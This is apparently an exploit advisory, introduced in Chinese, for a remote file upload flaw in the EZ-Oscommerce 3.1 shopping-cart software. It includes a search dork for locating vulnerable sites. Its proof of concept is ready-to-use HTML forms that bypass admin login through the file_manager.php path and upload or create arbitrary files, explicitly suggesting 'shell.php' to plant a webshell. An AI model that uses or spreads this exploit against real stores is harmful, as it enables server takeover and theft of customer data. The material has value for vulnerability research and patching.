EZ-Oscommerce是一个在线电子商务网店的业务解决方案(购物车)。它构建于osCommerce 2.2 RC 2之上,可根据不同商业需求自由定制,并且拥护诸多附加功能。EZ-Oscommerce 3.1存在远程文件上传漏洞,可能导致攻击者获取WebShell。

[+]info:
~~~~~~~~~
EZ-Oscommerce 3.1 Remote File Upload
# Vendor: http://www.ezosc.com
# Date: 2010-05-27
# Author : indoushka
# Thanks to : Inj3ct0r.com,Exploit-DB.com,SecurityReason.com,Hack0wn.com !
# Contact : indoushka@hotmail.com
# Home : www.arab-blackhat.co.cc
# Dork :Powered by osCommerce | Customized by EZ-Oscommerce
# Bug  : Remote File Upload
# Tested on : windows SP2 Fran?ais V.(Pnx2 2.0)

[+]poc:
~~~~~~~~~
 

<html><head><title> EZ-Oscommerce 3.1 - Remote File Upload </title></head> 
<br><br><u>UPLOAD FILE:</u><br> 
<form name="file" action="http://site/admin/file_manager.php/login.php?action=processuploads" method="post" enctype="multipart/form-data"> 
<input type="file" name="file_1"><br> 
<input name="submit" type="submit" value="   Upload   " > 
</form> 
<br><u>CREATE FILE:</u><br> 
<form name="new_file" action="http://site/admin/file_manager.php/login.php?action=save" method="post"> 
FILE NAME:<br> 
<input type="text" name="filename">  (ex. shell.php)<br>FILE CONTENTS:<br> 
<textarea name="file_contents" wrap="soft" cols="70" rows="10"></textarea> 
<input name="submit" type="submit" value="   Save   " > 
</form> 


[+]Reference:
~~~~~~~~~
http://www.exploit-db.com/exploits/14415